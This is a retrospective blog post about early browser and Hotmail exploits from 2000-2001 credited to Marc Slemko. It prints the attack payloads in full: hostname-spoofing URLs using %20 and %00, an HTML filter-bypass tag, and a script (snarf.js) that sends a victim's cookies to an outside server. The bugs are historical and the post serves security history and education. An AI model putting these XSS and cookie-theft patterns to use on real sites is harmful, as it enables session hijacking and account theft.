Historic Lessons From Marc Slemko.

Publicated on : 1178386329
Today I felt diving into the history books to see what vulnerabilities existed when XSS was first discovered and considered a problem to deal with. Marc Slemko is more or less the founder of Cross Site Scripting and possibly one of the first person who wrote about it. He had a big influence on the whole security aspect, and he is a known security researcher working for Apache etc.

In this short article I want to show you some old browser exploits he found back in 2000 to 2001. In a time that not many people even thought about hacking browsers or exploit them. It shows again that the browser vendors keep on making the same mistakes and constantly ship insecure browsers. Because of the hackers like Marc Slemko browsers have become far more secure.

Marc said about Microsoft: "Why didn't Microsoft pro-actively audit their code for such things, especially after similar bugs were found in the past?"


Exploit number 1: IE5 Cookie Exploit - 2000.
http://10.0.0.1%20.msn.com/foo.html
IE will load content from 10.0.0.1, but javascript running from foo.html will have access to any .msn.com cookies since it thinks it is in .msn.com.

Exploit number 2: IE Cookie Exploit - 2001.
http://passport.com%20.sub.znep.com/cgi-bin/cookies
Will cause IE to connect to the hostname specified, but send the cookies to the server based on the hostname before the "%20", in this case passport.com. The "%20" is the URL encoded version of a space character. "%20" isn't the only character that works, there are a variety of others that are also misparsed.

Exploit number 3: Steal hotmail account - 2001
<_img foo="<IFRAME width='80%' height='400' src='http://alive.znep.com/~marcs/passport/grabit.html'></IFRAME>" >
Hotmail thinks the "<_img" is part of the start of a HTML tag, so it treats the characters inside that supposed tag as attributes, etc. However, IE doesn't treat any tag starting with what it considers an invalid character to be a tag at all, so it doesn't treat it as markup at all, and continues on to parse the IFRAME tag.

In Step One, we get the user's browser to load grabit.html. All grabit.html contains is:
<frameset rows="200,200">
<FRAME NAME="me1" SRC="https://register.passport.com/ppsecure/404please">
<FRAME NAME="me2" SRC="https://register.passport.com/reg.srf?ru=https://ww.passport.com/%22%3E%3CSCRIPT
%20src='http://alive.znep.com/~marcs/passport/snarf.js'%3Ej%3C/SCRIPT%3E%3Flc%3D1033">
</frameset>

The contents of snarf.js are quite simple:
s = new String(document.URL);
if (s.indexOf('http:') == 0) {
setTimeout('document.location="https:" + s.substring(5, s.length-1, 1000)');
} else { document.location="http://alive.znep.com/~marcs/passport/snarf.cgi?cookies=" + escape(parent.frames[0].document.cookie);
}


Exploit number 4: Mozilla Cookie Stealing - 2001

The details are very trivial. Loading a URL such as:
http://alive.znep.com%00www.passport.com/cgi-bin/cookies
Will cause Mozilla to connect to the hostname specified before the "%00", but send the cookies to the server based on the entire hostname. The "%00" is the URL encoded version of the null character, used in C to terminate strings.

Conclusion

What strikes me most is the utter simplicity about it. These are really basic programming mistakes. Every respected programmer know what nullbytes are and what harm they can do. In these examples he only uses a few nullbytes and a simple space: %20 to steal cookies. Now if this wasn't bad enough, most vendors kept making the same mistakes over and over again. Why? he asks. Yeah that is something that I question for a long time. And yet after years of exploits and vulnerabilities it seems that security is a big problem and requires thinking outside of the box. My best guess is that most browser programmers just cannot think outside the box and never try to circumvent their own product. Still, they rely on the hackers and security researchers to submit bugs to them. If it weren't for them we all would have very insecure browsers.